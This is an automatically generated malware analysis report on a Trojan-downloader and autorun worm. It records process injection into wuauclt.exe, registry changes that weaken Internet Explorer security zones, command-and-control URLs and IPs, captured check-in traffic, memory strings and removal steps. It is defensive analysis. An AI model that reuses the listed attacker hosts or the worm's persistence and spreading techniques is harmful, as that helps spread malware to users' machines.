Gen.Variant.Kazy.299377_a477155001

by malwarelabrobot on August 1st, 2014 in Malware Descriptions.

Susp_Dropper (Kaspersky), Gen:Variant.Kazy.299377 (B) (Emsisoft), Gen:Variant.Kazy.299377 (AdAware), Trojan-Downloader.Win32.Moure.FD, Trojan.Win32.Swrort.3.FD, GenericAutorunWorm.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan, Worm, WormAutorun


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: a477155001f2ac6d629e0f32dd770c61
SHA1: 274c375803c314ba49d2bf262662c393abad64ea
SHA256: d4cce1762141b1f323abb697c9e2aee1e5522d4aff47a5b16976ea4cef7b0ccb
SSDeep: 3072:4tI09c0hZrMhSKVzP0zwj84kWmLa/J1/XzDqpOlKv3lJRScIfGUg9RHj:QI09c ySK90zwjyZSJFjDqWq3lJnzX
Size: 214016 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2006-01-15 01:20:17
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

Behaviour Description
WormAutorun A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.


Process activity

The Trojan creates the following process(es):

%original file name%.exe:1932
%original file name%.exe:57364

The Trojan injects its code into the following process(es):

wuauclt.exe:57396

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:57364 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (0 bytes)

Registry activity

The process %original file name%.exe:1932 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4E 6B EB CD 59 FA A1 0E EE F4 E3 C6 BE 6E A0 78"

The process %original file name%.exe:57364 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EE 3B 4E 53 B7 15 34 CD C3 3A 1F 1C C8 57 19 FA"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software]
"ImageBase" = "7A 69 3F CF B0 CF CF CF B3 CF CF CF CC CC CF CF"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_install_]
"msiexec.exe" = "msiexec"

[HKLM\SOFTWARE\Microsoft]
"0000000B" = "50 4B 03 04 00 EA 00 00 30 71 00 00 BC FC C2 2B"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Dropped PE files

MD5 File path
7ed265b1caa48a7eeb2246bb365778d8 c:\Documents and Settings\All Users\Local Settings\Temp\ccakkk.exe
7ed265b1caa48a7eeb2246bb365778d8 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\_install_\msiexec.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

VersionInfo

Company Name: Hause
Product Name: Drenzag
Product Version: 5, 1, 8, 4
Legal Copyright: Copyright Radume(c) 2013
Legal Trademarks: Gioka(c)
Original Filename: Koda
Internal Name: Zdravka
File Version: 2, 1, 3, 2
File Description: Darko
Comments: Preshin
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 1495040 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 1499136 188416 188416 5.34055 31a279faf70559e66e2d1cff233a7c31
.rsrc 1687552 53248 24576 2.46835 8c3433b46dd3b8e3083c36886b35692f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3
e4f4ae24234743e3cf9b8483a06ad2bd
f58e3f420ef28e25336995d7b69eb34d
160fcf3a2f1b145e000a7737e37213cd

URLs

URL IP
hxxp://a.sobea.in/gvlbqgvlbqgvlbqgvlbjrhpynvemgsfj 50.116.32.177
hxxp://hzmksreiuojy.in/ldr.php 195.22.26.231
hxxp://hzmksreiuojy.biz/ldr.php 69.195.129.70
hxxp://hzmksreiuojy.ru/ldr.php 195.22.26.231
www.update.microsoft.com 134.170.51.189


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)
ET TROJAN Andromeda Checkin
ET TROJAN Possible Compromised Host Sinkhole Cookie Value Snkz

Traffic

POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.ru
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 31 Jul 2014 03:51:01 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Set-Cookie: btst=2311f106aa58d1816026613de492aebc|193.138.244.231|1406778661|1406778661|0|1|0
Set-Cookie: snkz=193.138.244.231
0..



POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.biz
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==
HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 31 Jul 2014 03:50:56 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 0
Connection: close



POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.in
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 31 Jul 2014 03:51:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Set-Cookie: btst=dbafee70d8c4630d9acfa947251a2b65|193.138.244.231|1406778660|1406778660|0|1|0
Set-Cookie: snkz=193.138.244.231
0..







The Trojan connects to the servers at the folowing location(s):







wuauclt.exe_57396:




.text
`.data
.rsrc
@.reloc
wuauclt.pdb
GetProcessHeap
KERNEL32.dll
_wcmdln
_amsg_exit
msvcrt.dll
ntdll.dll
ole32.dll
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
USER32.dll
OLEAUT32.dll
SHLWAPI.dll
zcÁ
version="6.0.0.0"
name="Microsoft.Windows.windowsupdate.wuauclt"
true
name="Microsoft.Windows.Common-Controls"
publicKeyToken="6595b64144ccf1df"
wuaueng.dll
Error: 0xx. wuauclt handler: failed to spawn COM server
Error: 0xx. wuauclt handler: failed to load wuaueng
/ReportNow
/ShowWindowsUpdate
/CloseWindowsUpdate
wuauclt.exe failed to get proc address for UI export object with error %#lx
Failed to load %s with error %X
wucltui.dll
wucltux.dll
call RunAUClientUI on wucltui.dll/wucltux.dll
Ntdll.dll
WuSqm %ls session datapoint (id:%d) is incremented with dword %d.
wuauclt.exe is exiting with code 0xX
wuauclt.exe launched with command line %s
kernel32.dll
WUWeb
Report
7.6.7600.256
Global\WindowsUpdateTracingMutex
WindowsUpdate.log
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace
Windows
shell32.dll
%s: %s [
%s: %s
%s\%s
= Module: %s
= Module: 
= Process: %s
= Process: 
=========== Logging initialized (build: %s, tz: %s) ===========
wups2.dll
wups.dll
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\
%hs %ls page "%ls", hr=%X
Microsoft.WindowsUpdate
wupdmgr.exe
Failed to cocreate IShellWindows, error = 0xlX
Failed to obtain window doc for window %d, error = 0xlX
Failed to obtain folder view for window %d, error = 0xlX
Failed to obtain folder IPersist for window %d, error = 0xlX
Window %d is NOT a WU window
Done enumerating windows
Quit for window %d failed: 0xlX
Window %d is a WU window. Attempting to close
Failed to obtain class ID for window %d, error = 0xlX
Got NULL disp interface for window %d
Got %d instead of VT_DISPATCH for window %d
Failed to obtain IWebBrowserApp for window %d, error = 0xlX
Failed to enumerate window %d, error = 0xlX
Found %d explorer windows
Closing WU explorer windows
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData
WUAppNotificationWindows
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\
%chdhd
hd-hd-hd%chd:hd:hd:hd
Windows Update
7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)
wuauclt.exe
Windows
Operating System

wuauclt.exe_57396_rwx_000A0000_00009000:




.code
.import
NtDelayExecution
ntdll.dll
GetWindowsDirectoryW
kernel32.dll
software\microsoft\windows nt\currentversion\windows
software\microsoft\windows\currentversion\Policies\Explorer\Run
ccX.dat
http://8.8.8.8/xxxxxxxxx.php
http://hzmksreiuojy.in/ldr.php
http://hzmksreiuojy.ru/ldr.php
http://hzmksreiuojy.com/ldr.php
http://hzmksreiuojy.biz/ldr.php
http://hzmksreiuojy.nl/ldr.php
POST /%s HTTP/1.1
Host: %s
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
GET /%s HTTP/1.0
www.update.microsoft.com
GetProcessHeap
ws2_32.dll
RegCloseKey
RegCreateKeyExA
RegOpenKeyExA
RegSetKeySecurity
advapi32.dll
user32.dll
dnsapi.dll
KERNEL32.DLL
\system32\wuauclt.exe
\syswow64\svchost.exe
4%userprofile%
%s\cc%s.%s
)X
x.exe

wuauclt.exe_57396_rwx_003B0000_00005000:




software\microsoft\windows nt\currentversion\windows
software\microsoft\windows\currentversion\Policies\Explorer\Run
ccX.dat
http://8.8.8.8/xxxxxxxxx.php
http://hzmksreiuojy.in/ldr.php
http://hzmksreiuojy.ru/ldr.php
http://hzmksreiuojy.com/ldr.php
http://hzmksreiuojy.biz/ldr.php
http://hzmksreiuojy.nl/ldr.php
POST /%s HTTP/1.1
Host: %s
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
GET /%s HTTP/1.0
www.update.microsoft.com
NtDelayExecution
ntdll.dll
GetProcessHeap
kernel32.dll
ws2_32.dll
RegCloseKey
RegCreateKeyExA
RegOpenKeyExA
RegSetKeySecurity
advapi32.dll
user32.dll
dnsapi.dll
4%userprofile%
%s\cc%s.%s
)X
x.exe

wuauclt.exe_57396_rwx_00400000_0000E000:




.text
`.data
.rsrc
@.reloc
wuauclt.pdb
GetProcessHeap
KERNEL32.dll
_wcmdln
_amsg_exit
msvcrt.dll
ntdll.dll
ole32.dll
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
USER32.dll
OLEAUT32.dll
SHLWAPI.dll
zcÁ
version="6.0.0.0"
name="Microsoft.Windows.windowsupdate.wuauclt"
true
name="Microsoft.Windows.Common-Controls"
publicKeyToken="6595b64144ccf1df"
wuaueng.dll
Error: 0xx. wuauclt handler: failed to spawn COM server
Error: 0xx. wuauclt handler: failed to load wuaueng
/ReportNow
/ShowWindowsUpdate
/CloseWindowsUpdate
wuauclt.exe failed to get proc address for UI export object with error %#lx
Failed to load %s with error %X
wucltui.dll
wucltux.dll
call RunAUClientUI on wucltui.dll/wucltux.dll
Ntdll.dll
WuSqm %ls session datapoint (id:%d) is incremented with dword %d.
wuauclt.exe is exiting with code 0xX
wuauclt.exe launched with command line %s
kernel32.dll
WUWeb
Report
7.6.7600.256
Global\WindowsUpdateTracingMutex
WindowsUpdate.log
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace
Windows
shell32.dll
%s: %s [
%s: %s
%s\%s
= Module: %s
= Module: 
= Process: %s
= Process: 
=========== Logging initialized (build: %s, tz: %s) ===========
wups2.dll
wups.dll
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\
%hs %ls page "%ls", hr=%X
Microsoft.WindowsUpdate
wupdmgr.exe
Failed to cocreate IShellWindows, error = 0xlX
Failed to obtain window doc for window %d, error = 0xlX
Failed to obtain folder view for window %d, error = 0xlX
Failed to obtain folder IPersist for window %d, error = 0xlX
Window %d is NOT a WU window
Done enumerating windows
Quit for window %d failed: 0xlX
Window %d is a WU window. Attempting to close
Failed to obtain class ID for window %d, error = 0xlX
Got NULL disp interface for window %d
Got %d instead of VT_DISPATCH for window %d
Failed to obtain IWebBrowserApp for window %d, error = 0xlX
Failed to enumerate window %d, error = 0xlX
Found %d explorer windows
Closing WU explorer windows
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData
WUAppNotificationWindows
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\
%chdhd
hd-hd-hd%chd:hd:hd:hd
Windows Update
7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)
wuauclt.exe
Windows
Operating System

wuauclt.exe_57396_rwx_00900000_00013000:




.text
`.rdata
@.data
.rsrc
@.reloc
GetProcessWindowStation
T:\ldr\CUSTOM\local\Worm65.DLL.PnP\Release\Worm65.DLL.pdb
URLDownloadToFileW
urlmon.dll
KERNEL32.dll
keybd_event
USER32.dll
RegOpenKeyExW
RegCloseKey
ADVAPI32.dll
ole32.dll
GetCPInfo
Worm65.DLL.dll
[.ShellClassInfo]
IconResource=%systemroot%\system32\SHELL32.dll,7
IconFile=%SystemRoot%\system32\SHELL32.dll
%System%\wuauclt.exe
nKERNEL32.DLL
mscoree.dll
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
WUSER32.DLL
http://a.sobea.in/
http://b.sobea.in/
http://c.sobea.in/
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
%s\%s
%s.exe
Thumbs.db
desktop.ini
autorun.inf
Wkernel32.dll
%s\desktop.ini
%s\_W%s.init
%s\Thumbs.db
_W%s.init,krnl %s %s
%s\Removable Disk (%dGB).lnk
shell32.dll
%s\%s (%dGB).lnk
%sautorun.inf






Remove it with Ad-Aware




    

  1. Click (here) to download and install Ad-Aware Free Antivirus.
    2. 

  2. Update the definition files.
    3. 

  3. Run a full scan of your computer.
    4. 





Manual removal*




    

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):
    

    %original file name%.exe:1932
    %original file name%.exe:57364
    

    2. 

  2. Delete the original Trojan file.
    3. 

  3. Delete or disinfect the following files created/modified by the Trojan:
    

    %Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (1281 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)
    

    4. 

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
    5. 

  5. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
    6. 

  6. Reboot the computer.
    7. 



*Manual removal may cause unexpected system behaviour and should be performed at your own risk.












 
 




 
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